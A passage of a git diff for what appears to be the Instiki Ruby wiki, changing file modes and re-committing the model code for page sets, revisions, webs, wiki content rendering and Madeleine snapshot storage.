+    # if pages is not specified, make a list of all pages in the web
+    if pages.nil?
+      super(web.pages.values)
+    # otherwise use specified pages and condition to produce a set of pages
+    elsif condition.nil?
+      super(pages)
+    else
+      super(pages.select { |page| condition[page] })
+    end
+  end
+
+  def most_recent_revision
+    self.map { |page| page.created_at }.max || Time.at(0)
+  end
+
+
+  def by_name
+    PageSet.new(@web, sort_by { |page| page.name })
+  end
+
+  alias :sort :by_name
+
+  def by_revision
+    PageSet.new(@web, sort_by { |page| page.created_at }).reverse 
+  end
+  
+  def pages_that_reference(page_name)
+    self.select { |page| page.wiki_words.include?(page_name) }
+  end
+
+  def pages_authored_by(author)
+    self.select { |page| page.authors.include?(author) }
+  end
+
+  def characters
+    self.inject(0) { |chars,page| chars += page.content.size }
+  end
+
+  # Returns all the orphaned pages in this page set. That is,
+  # pages in this set for which there is no reference in the web.
+  # The HomePage and author pages are always assumed to have
+  # references and so cannot be orphans
+  def orphaned_pages
+    references = web.select.wiki_words + ["HomePage"] + web.select.authors
+    self.reject { |page| references.include?(page.name) } 
+  end
+
+  # Returns all the wiki words in this page set for which
+  # there are no pages in this page set's web
+  def wanted_pages
+    wiki_words - web.select.names
+  end
+
+  def names
+    self.map { |page| page.name }
+  end
+
+  def wiki_words
+    self.inject([]) { |wiki_words, page| wiki_words << page.wiki_words }.flatten.uniq
+  end
+
+  def authors
+    self.inject([]) { |authors, page| authors << page.authors }.flatten.uniq.sort
+  end
+
 end
\ No newline at end of file
diff --git a/app/models/revision.rb b/app/models/revision.rb
old mode 100755
new mode 100644
index 0198f5cc..d9b3f000
--- a/app/models/revision.rb
+++ b/app/models/revision.rb
@@ -1,83 +1,83 @@
-require 'diff'
-require 'wiki_content'
-require 'chunks/wiki'
-require 'date'
-require 'author'
-require 'page'
-
-class Revision
-
-  attr_accessor :page, :number, :content, :created_at, :author
-
-  def initialize(page, number, content, created_at, author)
-    @page, @number, @created_at, @author = page, number, created_at, author
-    self.content = content
-  end
-
-  def created_on
-    Date.new(@created_at.year, @created_at.mon, @created_at.day)
-  end
-
-  def pretty_created_at
-    # Must use DateTime because Time doesn't support %e on at least some platforms
-    DateTime.new(
-      @created_at.year, @created_at.mon, @created_at.day, @created_at.hour, @created_at.min
-    ).strftime "%B %e, %Y %H:%M" 
-  end
-
-  def next_revision
-    page.revisions[number + 1]
-  end
-
-  def previous_revision
-    number > 0 ? page.revisions[number - 1] : nil
-  end
-
-  # Returns an array of all the WikiWords present in the content of this revision.
-  def wiki_words
-    unless @wiki_words_cache 
-      wiki_chunks = display_content.find_chunks(WikiChunk::WikiLink)
-      @wiki_words_cache = wiki_chunks.map { |c| ( c.escaped_text ? nil : c.page_name ) }.compact.uniq
-    end
-    @wiki_words_cache
-  end  
-
-  # Returns an array of all the WikiWords present in the content of this revision.
-  # that already exists as a page in the web.
-  def existing_pages
-    wiki_words.select { |wiki_word| page.web.pages[wiki_word] }
-  end
-
-  # Returns an array of all the WikiWords present in the content of this revision
-  # that *doesn't* already exists as a page in the web.
-  def unexisting_pages
-    wiki_words - existing_pages
-  end  
-
-  # Explicit check for new type of display cache with find_chunks method.
-  # Ensures new version works with older snapshots.
-  def display_content
-    unless @display_cache && @display_cache.respond_to?(:find_chunks)
-      @display_cache = WikiContent.new(self)
-    end
-    @display_cache
-  end
-
-  def display_diff
-    previous_revision ? HTMLDiff.diff(previous_revision.display_content, display_content) : display_content
-  end
-
-  def clear_display_cache
-    @display_cache = @published_cache = @wiki_words_cache = nil
-  end
-
-  def display_published
-    @published_cache = WikiContent.new(self, {:mode => :publish}) if @published_cache.nil?
-    @published_cache
-  end
-
-  def display_content_for_export
-    WikiContent.new(self, {:mode => :export} )
-  end
-
-end
+require 'diff'
+require 'wiki_content'
+require 'chunks/wiki'
+require 'date'
+require 'author'
+require 'page'
+
+class Revision
+
+  attr_accessor :page, :number, :content, :created_at, :author
+
+  def initialize(page, number, content, created_at, author)
+    @page, @number, @created_at, @author = page, number, created_at, author
+    self.content = content
+  end
+
+  def created_on
+    Date.new(@created_at.year, @created_at.mon, @created_at.day)
+  end
+
+  def pretty_created_at
+    # Must use DateTime because Time doesn't support %e on at least some platforms
+    DateTime.new(
+      @created_at.year, @created_at.mon, @created_at.day, @created_at.hour, @created_at.min
+    ).strftime "%B %e, %Y %H:%M" 
+  end
+
+  def next_revision
+    page.revisions[number + 1]
+  end
+
+  def previous_revision
+    number > 0 ? page.revisions[number - 1] : nil
+  end
+
+  # Returns an array of all the WikiWords present in the content of this revision.
+  def wiki_words
+    unless @wiki_words_cache 
+      wiki_chunks = display_content.find_chunks(WikiChunk::WikiLink)
+      @wiki_words_cache = wiki_chunks.map { |c| ( c.escaped_text ? nil : c.page_name ) }.compact.uniq
+    end
+    @wiki_words_cache
+  end  
+
+  # Returns an array of all the WikiWords present in the content of this revision.
+  # that already exists as a page in the web.
+  def existing_pages
+    wiki_words.select { |wiki_word| page.web.pages[wiki_word] }
+  end
+
+  # Returns an array of all the WikiWords present in the content of this revision
+  # that *doesn't* already exists as a page in the web.
+  def unexisting_pages
+    wiki_words - existing_pages
+  end  
+
+  # Explicit check for new type of display cache with find_chunks method.
+  # Ensures new version works with older snapshots.
+  def display_content
+    unless @display_cache && @display_cache.respond_to?(:find_chunks)
+      @display_cache = WikiContent.new(self)
+    end
+    @display_cache
+  end
+
+  def display_diff
+    previous_revision ? HTMLDiff.diff(previous_revision.display_content, display_content) : display_content
+  end
+
+  def clear_display_cache
+    @display_cache = @published_cache = @wiki_words_cache = nil
+  end
+
+  def display_published
+    @published_cache = WikiContent.new(self, {:mode => :publish}) if @published_cache.nil?
+    @published_cache
+  end
+
+  def display_content_for_export
+    WikiContent.new(self, {:mode => :export} )
+  end
+
+end
diff --git a/app/models/web.rb b/app/models/web.rb
old mode 100755
new mode 100644
index 21069c03..78a8b0f4
--- a/app/models/web.rb
+++ b/app/models/web.rb
@@ -1,155 +1,155 @@
-require "cgi"
-require "page"
-require "page_set"
-require "wiki_words"
-require "zip/zip"
-
-class Web
-  attr_accessor :name, :address, :password, :markup, :color, :safe_mode, :pages
-  attr_accessor :additional_style, :published, :brackets_only, :count_pages, :allow_uploads
-
-  def initialize(parent_wiki, name, address, password = nil)
-    @wiki, @name, @address, @password = parent_wiki, name, address, password
-
-    # default values
-    @markup = :textile 
-    @color = '008B26'
-    @safe_mode = false
-    @pages = {}
-    @allow_uploads = true
-    @additional_style = nil
-    @published = false
-    @brackets_only = false
-    @count_pages = false
-    @allow_uploads = true
-  end
-
-  def add_page(page)
-    @pages[page.name] = page
-  end
-
-  def remove_pages(pages_to_be_removed)
-    pages.delete_if { |page_name, page| pages_to_be_removed.include?(page) }
-  end
-  
-  def select(&condition)
-    PageSet.new(self, @pages.values, condition)
-  end
-  
-  def revised_on
-    select.most_recent_revision
-  end
-    
-  def authors 
-    select.authors 
-  end
-
-  def categories
-    select.map { |page| page.categories }.flatten.uniq.sort
-  end
-
-  # Create a link for the given page name and link text based
-  # on the render mode in options and whether the page exists
-  # in the this web.
-  def make_link(name, text = nil, options = {})
-    text = CGI.escapeHTML(text || WikiWords.separate(name))
-    mode = options[:mode]
-    link_type = options[:link_type] || 'show'
-    case link_type
-    when 'show'
-      make_page_link(mode, name, text)
-    when 'file'
-      make_file_link(mode, name, text)
-    when 'pic'
-      make_pic_link(mode, name, text)
-    else
-      raise "Unknown link type: #{link_type}"
-    end
-  end
-
-  def make_page_link(mode, name, text)
-    link = CGI.escape(name)
-    case mode
-    when :export
-      if has_page?(name) then "#{text}"
-      else "#{text}" end
-    when :publish
-      if has_page?(name) then "#{text}"
-      else "#{text}" end
-    else 
-      if has_page?(name)
-        "#{text}"
-      else 
-        "#{text}?"
-      end
-    end
-  end
-
-  def make_file_link(mode, name, text)
-    link = CGI.escape(name)
-    case mode
-    when :export
-      if has_file?(name) then "#{text}"
-      else "#{text}" end
-    when :publish
-      if has_file?(name) then "#{text}"
-      else "#{text}" end
-    else 
-      if has_file?(name)
-        "#{text}"
-      else 
-        "#{text}?"
-      end
-    end
-  end
-
-  def make_pic_link(mode, name, text)
-    link = CGI.escape(name)
-    case mode
-    when :export
-      if has_file?(name) then "\"#{text}\""
-      else "\"#{text}\"" end
-    when :publish
-      if has_file?(name) then "\"#{text}\""
-      else "#{text}" end
-    else 
-      if has_file?(name) then "\"#{text}\""
-      else "#{text}?" end
-    end
-  end
-
-  def has_page?(name)
-    pages[name]
-  end
-
-  def has_file?(name)
-    wiki.file_yard(self).has_file?(name)
-  end
-
-  # Clears the display cache for all the pages with references to 
-  def refresh_pages_with_references(page_name)
-    select.pages_that_reference(page_name).each { |page| 
-      page.revisions.each { |revision| revision.clear_display_cache }
-    }
-  end
-  
-  def refresh_revisions
-    select.each { |page| page.revisions.each { |revision| revision.clear_display_cache } }
-  end
-
-  private
-    # Returns an array of all the wiki words in any current revision
-    def wiki_words
-      pages.values.inject([]) { |wiki_words, page| wiki_words << page.wiki_words }.flatten.uniq
-    end
-    
-    # Returns an array of all the page names on this web
-    def page_names
-      pages.keys
-    end
-    
-    # This ensures compatibility with 0.9 storages
-    def wiki
-      @wiki ||= WikiService.instance
-    end
+require "cgi"
+require "page"
+require "page_set"
+require "wiki_words"
+require "zip/zip"
+
+class Web
+  attr_accessor :name, :address, :password, :markup, :color, :safe_mode, :pages
+  attr_accessor :additional_style, :published, :brackets_only, :count_pages, :allow_uploads
+
+  def initialize(parent_wiki, name, address, password = nil)
+    @wiki, @name, @address, @password = parent_wiki, name, address, password
+
+    # default values
+    @markup = :textile 
+    @color = '008B26'
+    @safe_mode = false
+    @pages = {}
+    @allow_uploads = true
+    @additional_style = nil
+    @published = false
+    @brackets_only = false
+    @count_pages = false
+    @allow_uploads = true
+  end
+
+  def add_page(page)
+    @pages[page.name] = page
+  end
+
+  def remove_pages(pages_to_be_removed)
+    pages.delete_if { |page_name, page| pages_to_be_removed.include?(page) }
+  end
+  
+  def select(&condition)
+    PageSet.new(self, @pages.values, condition)
+  end
+  
+  def revised_on
+    select.most_recent_revision
+  end
+    
+  def authors 
+    select.authors 
+  end
+
+  def categories
+    select.map { |page| page.categories }.flatten.uniq.sort
+  end
+
+  # Create a link for the given page name and link text based
+  # on the render mode in options and whether the page exists
+  # in the this web.
+  def make_link(name, text = nil, options = {})
+    text = CGI.escapeHTML(text || WikiWords.separate(name))
+    mode = options[:mode]
+    link_type = options[:link_type] || 'show'
+    case link_type
+    when 'show'
+      make_page_link(mode, name, text)
+    when 'file'
+      make_file_link(mode, name, text)
+    when 'pic'
+      make_pic_link(mode, name, text)
+    else
+      raise "Unknown link type: #{link_type}"
+    end
+  end
+
+  def make_page_link(mode, name, text)
+    link = CGI.escape(name)
+    case mode
+    when :export
+      if has_page?(name) then "#{text}"
+      else "#{text}" end
+    when :publish
+      if has_page?(name) then "#{text}"
+      else "#{text}" end
+    else 
+      if has_page?(name)
+        "#{text}"
+      else 
+        "#{text}?"
+      end
+    end
+  end
+
+  def make_file_link(mode, name, text)
+    link = CGI.escape(name)
+    case mode
+    when :export
+      if has_file?(name) then "#{text}"
+      else "#{text}" end
+    when :publish
+      if has_file?(name) then "#{text}"
+      else "#{text}" end
+    else 
+      if has_file?(name)
+        "#{text}"
+      else 
+        "#{text}?"
+      end
+    end
+  end
+
+  def make_pic_link(mode, name, text)
+    link = CGI.escape(name)
+    case mode
+    when :export
+      if has_file?(name) then "\"#{text}\""
+      else "\"#{text}\"" end
+    when :publish
+      if has_file?(name) then "\"#{text}\""
+      else "#{text}" end
+    else 
+      if has_file?(name) then "\"#{text}\""
+      else "#{text}?" end
+    end
+  end
+
+  def has_page?(name)
+    pages[name]
+  end
+
+  def has_file?(name)
+    wiki.file_yard(self).has_file?(name)
+  end
+
+  # Clears the display cache for all the pages with references to 
+  def refresh_pages_with_references(page_name)
+    select.pages_that_reference(page_name).each { |page| 
+      page.revisions.each { |revision| revision.clear_display_cache }
+    }
+  end
+  
+  def refresh_revisions
+    select.each { |page| page.revisions.each { |revision| revision.clear_display_cache } }
+  end
+
+  private
+    # Returns an array of all the wiki words in any current revision
+    def wiki_words
+      pages.values.inject([]) { |wiki_words, page| wiki_words << page.wiki_words }.flatten.uniq
+    end
+    
+    # Returns an array of all the page names on this web
+    def page_names
+      pages.keys
+    end
+    
+    # This ensures compatibility with 0.9 storages
+    def wiki
+      @wiki ||= WikiService.instance
+    end
 end
\ No newline at end of file
diff --git a/app/models/wiki_content.rb b/app/models/wiki_content.rb
old mode 100755
new mode 100644
index 868d057e..9873ce9e
--- a/app/models/wiki_content.rb
+++ b/app/models/wiki_content.rb
@@ -1,97 +1,97 @@
-require 'cgi'
-require 'chunks/engines'
-require 'chunks/category'
-require 'chunks/include'
-require 'chunks/wiki'
-require 'chunks/literal'
-require 'chunks/uri'
-require 'chunks/nowiki'
-
-# Wiki content is just a string that can process itself with a chain of
-# actions. The actions can modify wiki content so that certain parts of
-# it are protected from being rendered by later actions.
-#
-# When wiki content is rendered, it can be interrogated to find out 
-# which chunks were rendered. This means things like categories, wiki 
-# links, can be determined.
-#
-# Exactly how wiki content is rendered is determined by a number of 
-# settings that are optionally passed in to a constructor. The current
-# options are:
-#  * :engine 
-#    => The structural markup engine to use (Textile, Markdown, RDoc)
-#  * :engine_opts
-#    => A list of options to pass to the markup engines (safe modes, etc)
-#  * :pre_engine_actions
-#    => A list of render actions or chunks to be processed before the
-#       markup engine is applied. By default this is:    
-#       Category, Include, URIChunk, WikiChunk::Link, WikiChunk::Word        
-#  * :post_engine_actions
-#    => A list of render actions or chunks to apply after the markup 
-#       engine. By default these are:    
-#       Literal::Pre, Literal::Tags
-#  * :mode
-#    => How should the content be rendered? For normal display (:display), 
-#       publishing (:publish) or export (:export)?
-#
-# AUTHOR: Mark Reid 
-# CREATED: 15th May 2004
-# UPDATED: 22nd May 2004
-class WikiContent < String
-
-  PRE_ENGINE_ACTIONS  = [ NoWiki, Category, Include, WikiChunk::Link, URIChunk, LocalURIChunk, 
-                          WikiChunk::Word ] 
-  POST_ENGINE_ACTIONS = [ Literal::Pre, Literal::Tags ]
-  DEFAULT_OPTS = {
-    :pre_engine_actions  => PRE_ENGINE_ACTIONS,
-    :post_engine_actions => POST_ENGINE_ACTIONS,
-    :engine              => Engines::Textile,
-    :engine_opts         => [],
-    :mode                => [:display]
-  }
-
-  attr_reader :web, :options, :rendered, :chunks
-
-  # Create a new wiki content string from the given one.
-  # The options are explained at the top of this file.
-  def initialize(revision, options = {})
-    @revision = revision
-    @web = @revision.page.web
-
-    # Deep copy of DEFAULT_OPTS to ensure that changes to PRE/POST_ENGINE_ACTIONS stay local
-    @options = Marshal.load(Marshal.dump(DEFAULT_OPTS)).update(options)
-    @options[:engine] = Engines::MAP[@web.markup] || Engines::Textile
-    @options[:engine_opts] = (@web.safe_mode ? [:filter_html, :filter_styles] : [])
-
-    @options[:pre_engine_actions].delete(WikiChunk::Word) if @web.brackets_only
-
-    super(@revision.content)
-    
-    begin
-      render!(@options[:pre_engine_actions] + [@options[:engine]] + @options[:post_engine_actions])
-# FIXME this is where all the parsing problems were shoved under the carpet
-#   rescue => e
-#     @rendered = e.message
-    end
-  end
-
-  # Call @web.page_link using current options.
-  def page_link(name, text, link_type)
-    @options[:link_type] = link_type || :show
-    @web.make_link(name, text, @options)
-  end
-
-  # Find all the chunks of the given types
-  def find_chunks(chunk_type)
-    rendered.select { |chunk| chunk.kind_of?(chunk_type) }
-  end
-
-  # Render this content using the specified actions.
-  def render!(chunk_types)
-    @chunks = []
-    chunk_types.each { |chunk_type| chunk_type.apply_to(self) }
-    @rendered = @chunks.map { |chunk| chunk.unmask(self) }.compact
-    (@chunks - @rendered).each { |chunk| chunk.revert(self) }
-  end
-  
+require 'cgi'
+require 'chunks/engines'
+require 'chunks/category'
+require 'chunks/include'
+require 'chunks/wiki'
+require 'chunks/literal'
+require 'chunks/uri'
+require 'chunks/nowiki'
+
+# Wiki content is just a string that can process itself with a chain of
+# actions. The actions can modify wiki content so that certain parts of
+# it are protected from being rendered by later actions.
+#
+# When wiki content is rendered, it can be interrogated to find out 
+# which chunks were rendered. This means things like categories, wiki 
+# links, can be determined.
+#
+# Exactly how wiki content is rendered is determined by a number of 
+# settings that are optionally passed in to a constructor. The current
+# options are:
+#  * :engine 
+#    => The structural markup engine to use (Textile, Markdown, RDoc)
+#  * :engine_opts
+#    => A list of options to pass to the markup engines (safe modes, etc)
+#  * :pre_engine_actions
+#    => A list of render actions or chunks to be processed before the
+#       markup engine is applied. By default this is:    
+#       Category, Include, URIChunk, WikiChunk::Link, WikiChunk::Word        
+#  * :post_engine_actions
+#    => A list of render actions or chunks to apply after the markup 
+#       engine. By default these are:    
+#       Literal::Pre, Literal::Tags
+#  * :mode
+#    => How should the content be rendered? For normal display (:display), 
+#       publishing (:publish) or export (:export)?
+#
+# AUTHOR: Mark Reid 
+# CREATED: 15th May 2004
+# UPDATED: 22nd May 2004
+class WikiContent < String
+
+  PRE_ENGINE_ACTIONS  = [ NoWiki, Category, Include, WikiChunk::Link, URIChunk, LocalURIChunk, 
+                          WikiChunk::Word ] 
+  POST_ENGINE_ACTIONS = [ Literal::Pre, Literal::Tags ]
+  DEFAULT_OPTS = {
+    :pre_engine_actions  => PRE_ENGINE_ACTIONS,
+    :post_engine_actions => POST_ENGINE_ACTIONS,
+    :engine              => Engines::Textile,
+    :engine_opts         => [],
+    :mode                => [:display]
+  }
+
+  attr_reader :web, :options, :rendered, :chunks
+
+  # Create a new wiki content string from the given one.
+  # The options are explained at the top of this file.
+  def initialize(revision, options = {})
+    @revision = revision
+    @web = @revision.page.web
+
+    # Deep copy of DEFAULT_OPTS to ensure that changes to PRE/POST_ENGINE_ACTIONS stay local
+    @options = Marshal.load(Marshal.dump(DEFAULT_OPTS)).update(options)
+    @options[:engine] = Engines::MAP[@web.markup] || Engines::Textile
+    @options[:engine_opts] = (@web.safe_mode ? [:filter_html, :filter_styles] : [])
+
+    @options[:pre_engine_actions].delete(WikiChunk::Word) if @web.brackets_only
+
+    super(@revision.content)
+    
+    begin
+      render!(@options[:pre_engine_actions] + [@options[:engine]] + @options[:post_engine_actions])
+# FIXME this is where all the parsing problems were shoved under the carpet
+#   rescue => e
+#     @rendered = e.message
+    end
+  end
+
+  # Call @web.page_link using current options.
+  def page_link(name, text, link_type)
+    @options[:link_type] = link_type || :show
+    @web.make_link(name, text, @options)
+  end
+
+  # Find all the chunks of the given types
+  def find_chunks(chunk_type)
+    rendered.select { |chunk| chunk.kind_of?(chunk_type) }
+  end
+
+  # Render this content using the specified actions.
+  def render!(chunk_types)
+    @chunks = []
+    chunk_types.each { |chunk_type| chunk_type.apply_to(self) }
+    @rendered = @chunks.map { |chunk| chunk.unmask(self) }.compact
+    (@chunks - @rendered).each { |chunk| chunk.revert(self) }
+  end
+  
 end
\ No newline at end of file
diff --git a/app/models/wiki_service.rb b/app/models/wiki_service.rb
old mode 100755
new mode 100644
index 4156cd81..fa65fb6c
--- a/app/models/wiki_service.rb
+++ b/app/models/wiki_service.rb
@@ -1,222 +1,222 @@
-require 'open-uri'
-require 'yaml'
-require 'madeleine'
-require 'madeleine/automatic'
-require 'madeleine/zmarshal'
-
-require 'web'
-require 'page'
-require 'author'
-require 'file_yard'
-
-module AbstractWikiService
-
-  attr_reader :webs, :system
-
-  def authenticate(password)
-    password == (@system[:password] || 'instiki')
-  end
-
-  def create_web(name, address, password = nil)
-    @webs[address] = Web.new(self, name, address, password) unless @webs[address]
-  end
-
-  def delete_web(address)
-    @webs[address] = nil
-  end
-
-  def file_yard(web)
-    raise "Web #{@web.name} does not belong to this wiki service" unless @webs.values.include?(web)
-    # TODO cache FileYards
-    FileYard.new("#{self.storage_path}/#{web.address}")
-  end
-
-  def init_wiki_service
-    @webs = {}
-    @system = {}
-  end
-  
-  def read_page(web_address, page_name)
-    ApplicationController.logger.debug "Reading page '#{page_name}' from web '#{web_address}'"
-    web = @webs[web_address]
-    if web.nil?
-      ApplicationController.logger.debug "Web '#{web_address}' not found"
-      return nil
-    else
-      page = web.pages[page_name]
-      ApplicationController.logger.debug "Page '#{page_name}' #{page.nil? ? 'not' : ''} found"
-      return page
-    end
-  end
-
-  def remove_orphaned_pages(web_address)
-    @webs[web_address].remove_pages(@webs[web_address].select.orphaned_pages)
-  end
-  
-  def revise_page(web_address, page_name, content, revised_on, author)
-    page = read_page(web_address, page_name)
-    page.revise(content, revised_on, author)
-    page
-  end
-
-  def rollback_page(web_address, page_name, revision_number, created_at, author_id = nil)
-    page = read_page(web_address, page_name)
-    page.rollback(revision_number, created_at, author_id)
-    page
-  end
-  
-  def setup(password, web_name, web_address)
-    @system[:password] = password
-    create_web(web_name, web_address)
-  end
-
-  def setup?
-    not (@webs.empty?)
-  end
-
-  def update_web(old_address, new_address, name, markup, color, additional_style, safe_mode = false, 
-      password = nil, published = false, brackets_only = false, count_pages = false, 
-      allow_uploads = true)
-    if old_address != new_address
-      @webs[new_address] = @webs[old_address]
-      @webs.delete(old_address)
-      @webs[new_address].address = new_address
-    end
-
-    web = @webs[new_address]
-    web.refresh_revisions if settings_changed?(web, markup, safe_mode, brackets_only)
-
-    web.name, web.markup, web.color, web.additional_style, web.safe_mode = 
-      name, markup, color, additional_style, safe_mode
-
-    web.password, web.published, web.brackets_only, web.count_pages, web.allow_uploads =
-      password, published, brackets_only, count_pages, allow_uploads
-  end
-
-  def write_page(web_address, page_name, content, written_on, author)
-    page = Page.new(@webs[web_address], page_name, content, written_on, author)
-    @webs[web_address].add_page(page)
-    page
-  end
-
-  def storage_path
-    self.class.storage_path
-  end
-  
-  private
-    def settings_changed?(web, markup, safe_mode, brackets_only)
-      web.markup != markup || 
-      web.safe_mode != safe_mode || 
-      web.brackets_only != brackets_only
-    end
-end
-
-class WikiService
-
-  include AbstractWikiService
-  include Madeleine::Automatic::Interceptor
-  
-  # These methods do not change the state of persistent objects, and 
-  # should not be ogged by Madeleine
-  automatic_read_only :authenticate, :read_page, :setup?, :webs, :storage_path, :file_yard
-
-  @@storage_path = './storage/'
-
-  class << self
-
-    def storage_path=(storage_path)
-      @@storage_path = storage_path
-    end
-
-    def storage_path
-      @@storage_path
-    end
-  
-    def clean_storage
-      MadeleineServer.clean_storage(self)
-    end
-
-    def instance
-      @madeleine ||= MadeleineServer.new(self)
-      @system = @madeleine.system
-      return @system
-    end
-
-    def snapshot
-      @madeleine.snapshot
-    end
-  
-  end
-
-  def initialize
-    init_wiki_service
-  end
-
-end
-
-class MadeleineServer
-
-  attr_reader :storage_path
-
-  # Clears all the command_log and snapshot files located in the storage directory, so the
-  # database is essentially dropped and recreated as blank
-  def self.clean_storage(service)
-    begin 
-      Dir.foreach(service.storage_path) do |file|
-        if file =~ /(command_log|snapshot)$/
-          File.delete(File.join(service.storage_path, file))
-        end
-      end
-    rescue
-      Dir.mkdir(service.storage_path)
-    end
-  end
-
-  def initialize(service)
-    @storage_path = service.storage_path
-    @server = Madeleine::Automatic::AutomaticSnapshotMadeleine.new(service.storage_path, 
-      Madeleine::ZMarshal.new) {
-      service.new
-    }
-    start_snapshot_thread
-  end
-
-  def command_log_present?
-    not Dir[storage_path + '/*.command_log'].empty?
-  end
-
-  def snapshot
-    @server.take_snapshot
-  end
-  
-  def start_snapshot_thread
-    Thread.new(@server) {
-      hours_since_last_snapshot = 0
-      while true
-        begin
-          hours_since_last_snapshot += 1
-          # Take a snapshot if there is a command log, or 24 hours 
-          # have passed since the last snapshot
-          if command_log_present? or hours_since_last_snapshot >= 24 
-            ActionController::Base.logger.info "[#{Time.now.strftime('%Y-%m-%d %H:%M:%S')}] " +
-              'Taking a Madeleine snapshot'
-            snapshot
-            hours_since_last_snapshot = 0
-          end
-          sleep(1.hour)
-        rescue => e
-          ActionController::Base.logger.error(e)
-          # wait for a minute (not to spoof the log with the same error)
-          # and go back into the loop, to keep trying
-          sleep(1.minute)
-          ActionController::Base.logger.info("Retrying to save a snapshot")
-        end
-      end
-    }
-  end
-
-  def system
-    @server.system
-  end
-  
-end
+require 'open-uri'
+require 'yaml'
+require 'madeleine'
+require 'madeleine/automatic'
+require 'madeleine/zmarshal'
+
+require 'web'
+require 'page'
+require 'author'
+require 'file_yard'
+
+module AbstractWikiService
+
+  attr_reader :webs, :system
+
+  def authenticate(password)
+    password == (@system[:password] || 'instiki')
+  end
+
+  def create_web(name, address, password = nil)
+    @webs[address] = Web.new(self, name, address, password) unless @webs[address]
+  end
+
+  def delete_web(address)
+    @webs[address] = nil
+  end
+
+  def file_yard(web)
+    raise "Web #{@web.name} does not belong to this wiki service" unless @webs.values.include?(web)
+    # TODO cache FileYards
+    FileYard.new("#{self.storage_path}/#{web.address}")
+  end
+
+  def init_wiki_service
+    @webs = {}
+    @system = {}
+  end
+  
+  def read_page(web_address, page_name)
+    ApplicationController.logger.debug "Reading page '#{page_name}' from web '#{web_address}'"
+    web = @webs[web_address]
+    if web.nil?
+      ApplicationController.logger.debug "Web '#{web_address}' not found"
+      return nil
+    else
+      page = web.pages[page_name]
+      ApplicationController.logger.debug "Page '#{page_name}' #{page.nil? ? 'not' : ''} found"
+      return page
+    end
+  end
+
+  def remove_orphaned_pages(web_address)
+    @webs[web_address].remove_pages(@webs[web_address].select.orphaned_pages)
+  end
+  
+  def revise_page(web_address, page_name, content, revised_on, author)
+    page = read_page(web_address, page_name)
+    page.revise(content, revised_on, author)
+    page
+  end
+
+  def rollback_page(web_address, page_name, revision_number, created_at, author_id = nil)
+    page = read_page(web_address, page_name)
+    page.rollback(revision_number, created_at, author_id)
+    page
+  end
+  
+  def setup(password, web_name, web_address)
+    @system[:password] = password
+    create_web(web_name, web_address)
+  end
+
+  def setup?
+    not (@webs.empty?)
+  end
+
+  def update_web(old_address, new_address, name, markup, color, additional_style, safe_mode = false, 
+      password = nil, published = false, brackets_only = false, count_pages = false, 
+      allow_uploads = true)
+    if old_address != new_address
+      @webs[new_address] = @webs[old_address]
+      @webs.delete(old_address)
+      @webs[new_address].address = new_address
+    end
+
+    web = @webs[new_address]
+    web.refresh_revisions if settings_changed?(web, markup, safe_mode, brackets_only)
+
+    web.name, web.markup, web.color, web.additional_style, web.safe_mode = 
+      name, markup, color, additional_style, safe_mode
+
+    web.password, web.published, web.brackets_only, web.count_pages, web.allow_uploads =
+      password, published, brackets_only, count_pages, allow_uploads
+  end
+
+  def write_page(web_address, page_name, content, written_on, author)
+    page = Page.new(@webs[web_address], page_name, content, written_on, author)
+    @webs[web_address].add_page(page)
+    page
+  end
+
+  def storage_path
+    self.class.storage_path
+  end
+  
+  private
+    def settings_changed?(web, markup, safe_mode, brackets_only)
+      web.markup != markup || 
+      web.safe_mode != safe_mode || 
+      web.brackets_only != brackets_only
+    end
+end
+
+class WikiService
+
+  include AbstractWikiService
+  include Madeleine::Automatic::Interceptor
+  
+  # These methods do not change the state of persistent objects, and 
+  # should not be ogged by Madeleine
+  automatic_read_only :authenticate, :read_page, :setup?, :webs, :storage_path, :file_yard
+
+  @@storage_path = './storage/'
+
+  class << self
+
+    def storage_path=(storage_path)
+      @@storage_path = storage_path
+    end
+
+    def storage_path
+      @@storage_path
+    end
+  
+    def clean_storage
+      MadeleineServer.clean_storage(self)
+    end
+
+    def instance
+      @madeleine ||= MadeleineServer.new(self)
+      @system = @madeleine.system
+      return @system
+    end
+
+    def snapshot
+      @madeleine.snapshot
+    end
+  
+  end
+
+  def initialize
+    init_wiki_service
+  end
+
+end
+
+class MadeleineServer
+
+  attr_reader :storage_path
+
+  # Clears all the command_log and snapshot files located in the storage directory, so the
+  # database is essentially dropped and recreated as blank
+  def self.clean_storage(service)
+    begin 
+      Dir.foreach(service.storage_path) do |file|
+        if file =~ /(command_log|snapshot)$/
+          File.delete(File.join(service.storage_path, file))
+        end
+      end
+    rescue
+      Dir.mkdir(service.storage_path)
+    end
+  end
+
+  def initialize(service)
+    @storage_path = service.storage_path
+    @server = Madeleine::Automatic::AutomaticSnapshotMadeleine.new(service.storage_path, 
+      Madeleine::ZMarshal.new) {
+      service.new
+    }
+    start_snapshot_thread
+  end
+
+  def command_log_present?
+    not Dir[storage_path + '/*.command_log'].empty?
+  end
+
+  def snapshot
+    @server.take_snapshot
+  end
+  
+  def start_snapshot_thread
+    Thread.new(@server) {
+      hours_since_last_snapshot = 0
+      while true
+        begin
+          hours_since_last_snapshot += 1
+          # Take a snapshot if there is a command log, or 24 hours 
+          # have passed since the last snapshot
+          if command_log_present? or hours_since_last_snapshot >= 24 
+            ActionController::Base.logger.info "[#{Time.now.strftime('%Y-%m-%d %H:%M:%S')}] " +
+              'Taking a Madeleine snapshot'
+            snapshot
+            hours_since_last_snapshot = 0
+          end
+          sleep(1.hour)
+        rescue => e
+          ActionController::Base.logger.error(e)
+          # wait for a minute (not to spoof the log with the same error)
+          # and go back into the loop, to keep trying
+          sleep(1.minute)
+          ActionController::Base.logger.info("Retrying to save a snapshot")
+        end
+      end
+    }
+  end
+
+  def system
+    @server.system
+  end
+  
+end
diff --git a/app/models/wiki_words.rb b/app/models/wiki_words.rb
old mode 100755
new mode 100644
index f82aa9ca..8f2b154f
--- a/app/models/wiki_words.rb
+++ b/app/models/wiki_words.rb
@@ -1,23 +1,23 @@
-# Contains all the methods for finding and replacing wiki words
-module WikiWords
-  # In order of appearance: Latin, greek, cyrillian, armenian
-  I18N_HIGHER_CASE_LETTERS =
